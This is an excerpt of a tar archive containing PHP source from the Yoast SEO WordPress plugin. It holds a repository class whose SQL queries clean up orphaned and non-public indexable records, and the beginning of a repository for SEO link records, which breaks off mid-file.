wordpress-seo/src/repositories/indexable-cleanup-repository.php000064400000066207147510273100021217 0ustar00<?php

namespace Yoast\WP\SEO\Repositories;

use mysqli_result;
use Yoast\WP\Lib\Model;
use Yoast\WP\Lib\ORM;
use Yoast\WP\SEO\Helpers\Author_Archive_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Helpers\Taxonomy_Helper;

/**
 * Repository containing all cleanup queries.
 */
class Indexable_Cleanup_Repository {

	/**
	 * A helper for taxonomies.
	 *
	 * @var Taxonomy_Helper
	 */
	private $taxonomy;

	/**
	 * A helper for post types.
	 *
	 * @var Post_Type_Helper
	 */
	private $post_type;

	/**
	 * A helper for author archives.
	 *
	 * @var Author_Archive_Helper
	 */
	private $author_archive;

	/**
	 * The constructor.
	 *
	 * @param Taxonomy_Helper       $taxonomy       A helper for taxonomies.
	 * @param Post_Type_Helper      $post_type      A helper for post types.
	 * @param Author_Archive_Helper $author_archive A helper for author archives.
	 */
	public function __construct( Taxonomy_Helper $taxonomy, Post_Type_Helper $post_type, Author_Archive_Helper $author_archive ) {
		$this->taxonomy       = $taxonomy;
		$this->post_type      = $post_type;
		$this->author_archive = $author_archive;
	}

	/**
	 * Starts a query for this repository.
	 *
	 * @return ORM
	 */
	public function query() {
		return Model::of_type( 'Indexable' );
	}

	/**
	 * Deletes rows from the indexable table depending on the object_type and object_sub_type.
	 *
	 * @param string $object_type     The object type to query.
	 * @param string $object_sub_type The object subtype to query.
	 * @param int    $limit           The limit we'll apply to the delete query.
	 *
	 * @return int|bool The number of rows that was deleted or false if the query failed.
	 */
	public function clean_indexables_with_object_type_and_object_sub_type( string $object_type, string $object_sub_type, int $limit ) {
		global $wpdb;

		$indexable_table = Model::get_table_name( 'Indexable' );

		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
		$sql = $wpdb->prepare( "DELETE FROM $indexable_table WHERE object_type = %s AND object_sub_type = %s ORDER BY id LIMIT %d", $object_type, $object_sub_type, $limit );

		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		return $wpdb->query( $sql );
	}

	/**
	 * Counts amount of indexables by object type and object sub type.
	 *
	 * @param string $object_type     The object type to check.
	 * @param string $object_sub_type The object sub type to check.
	 *
	 * @return float|int
	 */
	public function count_indexables_with_object_type_and_object_sub_type( string $object_type, string $object_sub_type ) {
		return $this
			->query()
			->where( 'object_type', $object_type )
			->where( 'object_sub_type', $object_sub_type )
			->count();
	}

	/**
	 * Deletes rows from the indexable table depending on the post_status.
	 *
	 * @param string $post_status The post status to query.
	 * @param int    $limit       The limit we'll apply to the delete query.
	 *
	 * @return int|bool The number of rows that was deleted or false if the query failed.
	 */
	public function clean_indexables_with_post_status( $post_status, $limit ) {
		global $wpdb;

		$indexable_table = Model::get_table_name( 'Indexable' );

		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
		$sql = $wpdb->prepare( "DELETE FROM $indexable_table WHERE object_type = 'post' AND post_status = %s ORDER BY id LIMIT %d", $post_status, $limit );

		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		return $wpdb->query( $sql );
	}

	/**
	 * Counts indexables with a certain post status.
	 *
	 * @param string $post_status The post status to count.
	 *
	 * @return float|int
	 */
	public function count_indexables_with_post_status( string $post_status ) {
		return $this
			->query()
			->where( 'object_type', 'post' )
			->where( 'post_status', $post_status )
			->count();
	}

	/**
	 * Cleans up any indexables that belong to post types that are not/no longer publicly viewable.
	 *
	 * @param int $limit The limit we'll apply to the queries.
	 *
	 * @return bool|int The number of deleted rows, false if the query fails.
	 */
	public function clean_indexables_for_non_publicly_viewable_post( $limit ) {
		global $wpdb;
		$indexable_table = Model::get_table_name( 'Indexable' );

		$included_post_types = $this->post_type->get_indexable_post_types();

		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix.
		if ( empty( $included_post_types ) ) {
			$delete_query = $wpdb->prepare(
				"DELETE FROM $indexable_table
				WHERE object_type = 'post'
				AND object_sub_type IS NOT NULL
				LIMIT %d",
				$limit
			);
		}
		else {
			// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead.
			$delete_query = $wpdb->prepare(
				"DELETE FROM $indexable_table
				WHERE object_type = 'post'
				AND object_sub_type IS NOT NULL
				AND object_sub_type NOT IN ( " . \implode( ', ', \array_fill( 0, \count( $included_post_types ), '%s' ) ) . ' )
				LIMIT %d',
				\array_merge( $included_post_types, [ $limit ] )
			);
		}
		// phpcs:enable

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
		return $wpdb->query( $delete_query );
		// phpcs:enable
	}

	/**
	 * Counts all indexables for non public post types.
	 *
	 * @return float|int
	 */
	public function count_indexables_for_non_publicly_viewable_post() {
		$included_post_types = $this->post_type->get_indexable_post_types();

		if ( empty( $included_post_types ) ) {
			return $this
				->query()
				->where( 'object_type', 'post' )
				->where_not_equal( 'object_sub_type', 'null' )
				->count();
		}
		else {
			return $this
				->query()
				->where( 'object_type', 'post' )
				->where_not_equal( 'object_sub_type', 'null' )
				->where_not_in( 'object_sub_type', $included_post_types )
				->count();
		}
	}

	/**
	 * Cleans up any indexables that belong to taxonomies that are not/no longer publicly viewable.
	 *
	 * @param int $limit The limit we'll apply to the queries.
	 *
	 * @return bool|int The number of deleted rows, false if the query fails.
	 */
	public function clean_indexables_for_non_publicly_viewable_taxonomies( $limit ) {
		global $wpdb;
		$indexable_table = Model::get_table_name( 'Indexable' );

		$included_taxonomies = $this->taxonomy->get_indexable_taxonomies();

		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix.
		if ( empty( $included_taxonomies ) ) {
			$delete_query = $wpdb->prepare(
				"DELETE FROM $indexable_table
				WHERE object_type = 'term'
				AND object_sub_type IS NOT NULL
				LIMIT %d",
				$limit
			);
		}
		else {
			// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead.
			$delete_query = $wpdb->prepare(
				"DELETE FROM $indexable_table
				WHERE object_type = 'term'
				AND object_sub_type IS NOT NULL
				AND object_sub_type NOT IN ( " . \implode( ', ', \array_fill( 0, \count( $included_taxonomies ), '%s' ) ) . ' )
				LIMIT %d',
				\array_merge( $included_taxonomies, [ $limit ] )
			);
		}
		// phpcs:enable

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
		return $wpdb->query( $delete_query );
		// phpcs:enable
	}

	/**
	 * Cleans up any indexables that belong to post type archive page that are not/no longer publicly viewable.
	 *
	 * @param int $limit The limit we'll apply to the queries.
	 *
	 * @return bool|int The number of deleted rows, false if the query fails.
	 */
	public function clean_indexables_for_non_publicly_viewable_post_type_archive_pages( $limit ) {
		global $wpdb;
		$indexable_table = Model::get_table_name( 'Indexable' );

		$included_post_types = $this->post_type->get_indexable_post_archives();

		$post_archives = [];

		foreach ( $included_post_types as $post_type ) {
			$post_archives[] = $post_type->name;
		}
		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix.
		if ( empty( $post_archives ) ) {
			$delete_query = $wpdb->prepare(
				"DELETE FROM $indexable_table
				WHERE object_type = 'post-type-archive'
				AND object_sub_type IS NOT NULL
				LIMIT %d",
				$limit
			);
		}
		else {
			// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead.
			$delete_query = $wpdb->prepare(
				"DELETE FROM $indexable_table
				WHERE object_type = 'post-type-archive'
				AND object_sub_type IS NOT NULL
				AND object_sub_type NOT IN ( " . \implode( ', ', \array_fill( 0, \count( $post_archives ), '%s' ) ) . ' )
				LIMIT %d',
				\array_merge( $post_archives, [ $limit ] )
			);
		}
		// phpcs:enable

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
		return $wpdb->query( $delete_query );
		// phpcs:enable
	}

	/**
	 * Counts indexables for non publicly viewable taxonomies.
	 *
	 * @return float|int
	 */
	public function count_indexables_for_non_publicly_viewable_taxonomies() {
		$included_taxonomies = $this->taxonomy->get_indexable_taxonomies();
		if ( empty( $included_taxonomies ) ) {
			return $this
				->query()
				->where( 'object_type', 'term' )
				->where_not_equal( 'object_sub_type', 'null' )
				->count();
		}
		else {
			return $this
				->query()
				->where( 'object_type', 'term' )
				->where_not_equal( 'object_sub_type', 'null' )
				->where_not_in( 'object_sub_type', $included_taxonomies )
				->count();
		}
	}

	/**
	 * Counts indexables for non publicly viewable taxonomies.
	 *
	 * @return float|int
	 */
	public function count_indexables_for_non_publicly_post_type_archive_pages() {
		$included_post_types = $this->post_type->get_indexable_post_archives();

		$post_archives = [];

		foreach ( $included_post_types as $post_type ) {
			$post_archives[] = $post_type->name;
		}
		if ( empty( $post_archives ) ) {
			return $this
				->query()
				->where( 'object_type', 'post-type-archive' )
				->where_not_equal( 'object_sub_type', 'null' )
				->count();
		}

		return $this
			->query()
			->where( 'object_type', 'post-type-archive' )
			->where_not_equal( 'object_sub_type', 'null' )
			->where_not_in( 'object_sub_type', $post_archives )
			->count();
	}

	/**
	 * Cleans up any user indexables when the author archives have been disabled.
	 *
	 * @param int $limit The limit we'll apply to the queries.
	 *
	 * @return bool|int The number of deleted rows, false if the query fails.
	 */
	public function clean_indexables_for_authors_archive_disabled( $limit ) {
		global $wpdb;

		if ( ! $this->author_archive->are_disabled() ) {
			return 0;
		}

		$indexable_table = Model::get_table_name( 'Indexable' );

		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix.
		$delete_query = $wpdb->prepare( "DELETE FROM $indexable_table WHERE object_type = 'user' LIMIT %d", $limit );
		// phpcs:enable

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
		return $wpdb->query( $delete_query );
		// phpcs:enable
	}

	/**
	 * Counts the amount of author archive indexables if they are not disabled.
	 *
	 * @return float|int
	 */
	public function count_indexables_for_authors_archive_disabled() {
		if ( ! $this->author_archive->are_disabled() ) {
			return 0;
		}

		return $this
			->query()
			->where( 'object_type', 'user' )
			->count();
	}

	/**
	 * Cleans up any indexables that belong to users that have their author archives disabled.
	 *
	 * @param int $limit The limit we'll apply to the queries.
	 *
	 * @return bool|int The number of deleted rows, false if the query fails.
	 */
	public function clean_indexables_for_authors_without_archive( $limit ) {
		global $wpdb;

		$indexable_table           = Model::get_table_name( 'Indexable' );
		$author_archive_post_types = $this->author_archive->get_author_archive_post_types();
		$viewable_post_stati       = \array_filter( \get_post_stati(), 'is_post_status_viewable' );

		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix.
		// phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead.
		$delete_query = $wpdb->prepare(
			"DELETE FROM $indexable_table
				WHERE object_type = 'user'
				AND object_id NOT IN (
					SELECT DISTINCT post_author
					FROM $wpdb->posts
					WHERE post_type IN ( " . \implode( ', ', \array_fill( 0, \count( $author_archive_post_types ), '%s' ) ) . ' )
					AND post_status IN ( ' . \implode( ', ', \array_fill( 0, \count( $viewable_post_stati ), '%s' ) ) . ' )
				) LIMIT %d',
			\array_merge( $author_archive_post_types, $viewable_post_stati, [ $limit ] )
		);
		// phpcs:enable

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
		return $wpdb->query( $delete_query );
		// phpcs:enable
	}

	/**
	 * Counts total amount of indexables for authors without archives.
	 *
	 * @return bool|int|mysqli_result|resource|null
	 */
	public function count_indexables_for_authors_without_archive() {
		global $wpdb;

		$indexable_table           = Model::get_table_name( 'Indexable' );
		$author_archive_post_types = $this->author_archive->get_author_archive_post_types();
		$viewable_post_stati       = \array_filter( \get_post_stati(), 'is_post_status_viewable' );

		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix.
		// phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead.
		$count_query = $wpdb->prepare(
			"SELECT count(*) FROM $indexable_table
				WHERE object_type = 'user'
				AND object_id NOT IN (
					SELECT DISTINCT post_author
					FROM $wpdb->posts
					WHERE post_type IN ( " . \implode( ', ', \array_fill( 0, \count( $author_archive_post_types ), '%s' ) ) . ' )
					AND post_status IN ( ' . \implode( ', ', \array_fill( 0, \count( $viewable_post_stati ), '%s' ) ) . ' )
				)',
			\array_merge( $author_archive_post_types, $viewable_post_stati )
		);
		// phpcs:enable

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
		return $wpdb->get_col( $count_query )[0];
		// phpcs:enable
	}

	/**
	 * Deletes rows from the indexable table where the source is no longer there.
	 *
	 * @param string $source_table      The source table which we need to check the indexables against.
	 * @param string $source_identifier The identifier which the indexables are matched to.
	 * @param string $object_type       The indexable object type.
	 * @param int    $limit             The limit we'll apply to the delete query.
	 *
	 * @return int|bool The number of rows that was deleted or false if the query failed.
	 */
	public function clean_indexables_for_object_type_and_source_table( $source_table, $source_identifier, $object_type, $limit ) {
		global $wpdb;

		$indexable_table = Model::get_table_name( 'Indexable' );
		$source_table    = $wpdb->prefix . $source_table;
		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
		$query = $wpdb->prepare(
			"
			SELECT indexable_table.object_id
			FROM {$indexable_table} indexable_table
			LEFT JOIN {$source_table} AS source_table
			ON indexable_table.object_id = source_table.{$source_identifier}
			WHERE source_table.{$source_identifier} IS NULL
			AND indexable_table.object_id IS NOT NULL
			AND indexable_table.object_type = '{$object_type}'
			LIMIT %d",
			$limit
		);
		// phpcs:enable

		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		$orphans = $wpdb->get_col( $query );

		if ( empty( $orphans ) ) {
			return 0;
		}

		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		return $wpdb->query( "DELETE FROM $indexable_table WHERE object_type = '{$object_type}' AND object_id IN( " . \implode( ',', $orphans ) . ' )' );
	}

	/**
	 * Deletes rows from the indexable table where the source is no longer there.
	 *
	 * @param int $limit The limit we'll apply to the delete query.
	 *
	 * @return int|bool The number of rows that was deleted or false if the query failed.
	 */
	public function clean_indexables_for_orphaned_users( $limit ) {
		global $wpdb;

		$indexable_table = Model::get_table_name( 'Indexable' );
		$source_table    = $wpdb->users;
		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
		$query = $wpdb->prepare(
			"
			SELECT indexable_table.object_id
			FROM {$indexable_table} indexable_table
			LEFT JOIN {$source_table} AS source_table
			ON indexable_table.object_id = source_table.ID
			WHERE source_table.ID IS NULL
			AND indexable_table.object_id IS NOT NULL
			AND indexable_table.object_type = 'user'
			LIMIT %d",
			$limit
		);
		// phpcs:enable

		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		$orphans = $wpdb->get_col( $query );

		if ( empty( $orphans ) ) {
			return 0;
		}

		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		return $wpdb->query( "DELETE FROM $indexable_table WHERE object_type = 'user' AND object_id IN( " . \implode( ',', $orphans ) . ' )' );
	}

	/**
	 * Counts indexables for given source table + source identifier + object type.
	 *
	 * @param string $source_table      The source table.
	 * @param string $source_identifier The source identifier.
	 * @param string $object_type       The object type.
	 *
	 * @return mixed
	 */
	public function count_indexables_for_object_type_and_source_table( string $source_table, string $source_identifier, string $object_type ) {
		global $wpdb;
		$indexable_table = Model::get_table_name( 'Indexable' );
		$source_table    = $wpdb->prefix . $source_table;
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		return $wpdb->get_col(
			"
			SELECT count(*)
			FROM {$indexable_table} indexable_table
			LEFT JOIN {$source_table} AS source_table
			ON indexable_table.object_id = source_table.{$source_identifier}
			WHERE source_table.{$source_identifier} IS NULL
			AND indexable_table.object_id IS NOT NULL
			AND indexable_table.object_type = '{$object_type}'"
		)[0];
		// phpcs:enable
	}

	/**
	 * Counts indexables for orphaned users.
	 *
	 * @return mixed
	 */
	public function count_indexables_for_orphaned_users() {
		global $wpdb;
		$indexable_table = Model::get_table_name( 'Indexable' );
		$source_table    = $wpdb->users;
		//phpcs:disable WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		return $wpdb->get_col(
			"
			SELECT count(*)
			FROM {$indexable_table} indexable_table
			LEFT JOIN {$source_table} AS source_table
			ON indexable_table.object_id = source_table.ID
			WHERE source_table.ID IS NULL
			AND indexable_table.object_id IS NOT NULL
			AND indexable_table.object_type = 'user'"
		)[0];
		// phpcs:enable
	}

	/**
	 * Cleans orphaned rows from a yoast table.
	 *
	 * @param string $table  The table to clean up.
	 * @param string $column The table column the cleanup will rely on.
	 * @param int    $limit  The limit we'll apply to the queries.
	 *
	 * @return int|bool The number of deleted rows, false if the query fails.
	 */
	public function cleanup_orphaned_from_table( $table, $column, $limit ) {
		global $wpdb;

		$table           = Model::get_table_name( $table );
		$indexable_table = Model::get_table_name( 'Indexable' );

		// Warning: If this query is changed, make sure to update the query in cleanup_orphaned_from_table in Premium as well.
		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
		$query = $wpdb->prepare(
			"
			SELECT table_to_clean.{$column}
			FROM {$table} table_to_clean
			LEFT JOIN {$indexable_table} AS indexable_table
			ON table_to_clean.{$column} = indexable_table.id
			WHERE indexable_table.id IS NULL
			AND table_to_clean.{$column} IS NOT NULL
			LIMIT %d",
			$limit
		);
		// phpcs:enable

		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		$orphans = $wpdb->get_col( $query );

		if ( empty( $orphans ) ) {
			return 0;
		}

		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		return $wpdb->query( "DELETE FROM $table WHERE {$column} IN( " . \implode( ',', $orphans ) . ' )' );
	}

	/**
	 * Counts orphaned rows from a yoast table.
	 *
	 * @param string $table  The table to clean up.
	 * @param string $column The table column the cleanup will rely on.
	 *
	 * @return int|bool The number of deleted rows, false if the query fails.
	 */
	public function count_orphaned_from_table( string $table, string $column ) {
		global $wpdb;

		$table           = Model::get_table_name( $table );
		$indexable_table = Model::get_table_name( 'Indexable' );

		// Warning: If this query is changed, make sure to update the query in cleanup_orphaned_from_table in Premium as well.
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		return $wpdb->get_col(
			"
			SELECT count(*)
			FROM {$table} table_to_clean
			LEFT JOIN {$indexable_table} AS indexable_table
			ON table_to_clean.{$column} = indexable_table.id
			WHERE indexable_table.id IS NULL
			AND table_to_clean.{$column} IS NOT NULL"
		)[0];
		// phpcs:enable
	}

	/**
	 * Updates the author_id of indexables which author_id is not in the wp_users table with the id of the reassingned
	 * user.
	 *
	 * @param int $limit The limit we'll apply to the queries.
	 *
	 * @return int|bool The number of updated rows, false if query to get data fails.
	 */
	public function update_indexables_author_to_reassigned( $limit ) {
		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		$reassigned_authors_objs = $this->get_reassigned_authors( $limit );

		if ( $reassigned_authors_objs === false ) {
			return false;
		}

		return $this->update_indexable_authors( $reassigned_authors_objs, $limit );
	}

	/**
	 * Fetches pairs of old_id -> new_id indexed by old_id.
	 * By using the old_id (i.e. the id of the user that has been deleted) as key of the associative array, we can
	 * easily compose an array of unique pairs of old_id -> new_id.
	 *
	 * @param int $limit The limit we'll apply to the queries.
	 *
	 * @return int|bool The associative array with shape [ old_id => [ old_id, new_author ] ] or false if query to get
	 *                  data fails.
	 */
	private function get_reassigned_authors( $limit ) {
		global $wpdb;

		$indexable_table = Model::get_table_name( 'Indexable' );
		$posts_table     = $wpdb->posts;

		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
		$query = $wpdb->prepare(
			"
			SELECT {$indexable_table}.author_id, {$posts_table}.post_author
			FROM {$indexable_table} JOIN {$posts_table} on {$indexable_table}.object_id = {$posts_table}.id
			WHERE object_type='post'
			AND {$indexable_table}.author_id <> {$posts_table}.post_author
			ORDER BY {$indexable_table}.author_id
			LIMIT %d",
			$limit
		);
		// phpcs:enable

		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		return $wpdb->get_results( $query, \OBJECT_K );
	}

	/**
	 * Updates the indexable's author_id referring to a deleted author with the id of the reassigned user.
	 *
	 * @param array $reassigned_authors_objs The array of objects with shape [ old_id => [ old_id, new_id ] ].
	 * @param int   $limit                   The limit we'll apply to the queries.
	 *
	 * @return int|bool The associative array with shape [ old_id => [ old_id, new_author ] ] or false if query to get
	 *                  data fails.
	 */
	private function update_indexable_authors( $reassigned_authors_objs, $limit ) {
		global $wpdb;

		$indexable_table = Model::get_table_name( 'Indexable' );

		// This is a workaround for the fact that the array_column function does not work on objects in PHP 5.6.
		$reassigned_authors_array = \array_map(
			static function ( $obj ) {
				return (array) $obj;
			},
			$reassigned_authors_objs
		);

		$reassigned_authors = \array_combine( \array_column( $reassigned_authors_array, 'author_id' ), \array_column( $reassigned_authors_array, 'post_author' ) );

		foreach ( $reassigned_authors as $old_author_id => $new_author_id ) {
			// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
			$query = $wpdb->prepare(
				"
				UPDATE {$indexable_table}
				SET {$indexable_table}.author_id = {$new_author_id}
				WHERE {$indexable_table}.author_id = {$old_author_id}
				AND object_type='post'
				LIMIT %d",
				$limit
			);
			// phpcs:enable

			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
			$wpdb->query( $query );
		}

		return \count( $reassigned_authors );
	}
}
wordpress-seo/src/repositories/seo-links-repository.php000064400000012642147510273100017535 0ustar00<?php

namespace Yoast\WP\SEO\Repositories;

use Yoast\WP\Lib\Model;
use Yoast\WP\Lib\ORM;
use Yoast\WP\SEO\Models\SEO_Links;

/**
 * Class SEO_Links_Repository.
 */
class SEO_Links_Repository {

	/**
	 * Starts a query for this repository.
	 *
	 * @return ORM
	 */
	public function query() {
		return Model::of_type( 'SEO_Links' );
	}

	/**
	 * Finds all SEO Links by post ID.
	 *
	 * @param int $post_id The post ID.
	 *
	 * @return SEO_Links[] The SEO Links.
	 */
	public function find_all_by_post_id( $post_id ) {
		return $this->query()
			->where( 'post_id', $post_id )
			->find_many();
	}

	/**
	 * Finds all SEO Links by indexable ID.
	 *
	 * @param int $indexable_id The indexable ID.
	 *
	 * @return SEO_Links[] The SEO Links.
	 */
	public function find_all_by_indexable_id( $indexable_id ) {
		return $this->query()
			->where( 'indexable_id', $indexable_id )
			->find_many();
	}

	/**
	 * Retrieves an SEO Link by url.
	 *
	 * @param string $url The SEO Link's url.
	 *
	 * @return SEO_Links|false The SEO Link, or false if none found.
	 */
	public function find_one_by_url( $url ) {
		return $this->query()
			->select( 'target_post_id' )
			->where( 'url', $url )
			->find_one();
	}

	/**
	 * Retrieves all SEO Links by target post ID.
	 *
	 * @param string $target_post_id The SEO Link's target post ID.
	 *
	 * @return SEO_Links[] The SEO Links.
	 */
	public function find_all_by_target_post_id( $target_post_id ) {
		return $this->query()
			->where( 'target_post_id', $target_post_id )
			->find_many();
	}

	/**
	 * Updates the ID of the target indexable of a link.
	 *
	 * @param int $link_id             The ID of the link to be updated.
	 * @param int $target_indexable_id The ID of the target indexable.
	 *
	 * @return bool Whether or not the update was succeful.
	 */
	public function update_target_indexable_id( $link_id, $target_indexable_id ) {
		return (bool) $this->query()
			->set( 'target_indexable_id', $target_indexable_id )
			->where( 'id', $link_id )
			->update_many();
	}

	/**
	 * Clears all SEO Links by post ID.
	 *
	 * @param int $post_id The post ID.
	 *
	 * @return bool Whether or not the delete was succesfull.
	 */
	public function delete_all_by_post_id( $post_id ) {
		return $this->query()
			->where( 'post_id', $post_id )
			->delete_many();
	}

	/**
	 * Clears all SEO Links by post ID where the indexable id is null.
	 *
	 * @param int $post_id The post ID.
	 *
	 * @return bool Whether or not the delete was succesfull.
	 */
	public function delete_all_by_post_id_where_indexable_id_null( $post_id ) {
		return $this->query()
			->where( 'post_id', $post_id )
			->where_null( 'indexable_id' )
			->delete_many();
	}

	/**
	 * Clears all SEO Links by indexable ID.
	 *
	 * @param int $indexable_id The indexable ID.
	 *
	 * @return bool Whether or not the delete was succesfull.
	 */
	public function delete_all_by_indexable_id( $indexable_id ) {
		return $this->query()
			->where( 'indexable_id', $indexable_id )
			->delete_many();
	}

	/**
	 * Returns incoming link counts for a number of posts.
	 *
	 * @param array $post_ids The post IDs.
	 *
	 * @return array An array of associative arrays, each containing a post id and incoming property.
	 */
	public function get_incoming_link_counts_for_post_ids( $post_ids ) {
		return $this->query()
			->select_expr( 'COUNT( id )', 'incoming' )
			->select( 'target_post_id', 'post_id' )
			->where_in( 'target_post_id', $post_ids )
			->group_by( 'target_post_id' )
			->find_array();
	}

	/**
	 * Returns incoming link counts for a number of indexables.
	 *
	 * @param array $indexable_ids The indexable IDs.
	 *
	 * @return array An array of associative arrays, each containing a indexable id and incoming property.
	 */
	public function get_incoming_link_counts_for_indexable_ids( $indexable_ids ) {
		if ( empty( $indexable_ids ) ) {
			return [];
		}

		// This query only returns ID's with an incoming count > 0. We need to restore any ID's with 0 incoming links later.
		$indexable_counts = $this->query()
			->select_expr( 'COUNT( id )', 'incoming' )
			->select( 'target_indexable_id' )
			->where_in( 'target_indexable_id', $indexable_ids )
			->group_by( 'target_indexable_id' )
			->find_array();

		// If the above query fails, do not update anything.
		if ( ! \is_array( $indexable_counts ) ) {
			return [];
		}

		// Get all ID's returned from the query and set them as keys for easy access.
		$returned_ids = \array_flip( \array_column( $indexable_counts, 'target_indexable_id' ) );

		// Loop over the original ID's and search them in the returned ID's. If they don't exist, add them with an incoming count of 0.
		foreach ( $indexable_ids as $id ) {
			// Cast the ID to string, as the arrays only contain stringified versions of the ID.
			$id = \strval( $id );
			if ( isset( $returned_ids[ $id ] ) === false ) {
				$indexable_counts[] = [
					'incoming'            => '0',
					'target_indexable_id' => $id,
				];
			}
		}

		return $indexable_counts;
	}

	/**
	 * Deletes all seo links for the given ids.
	 *
	 * @param int[] $ids The seo link ids.
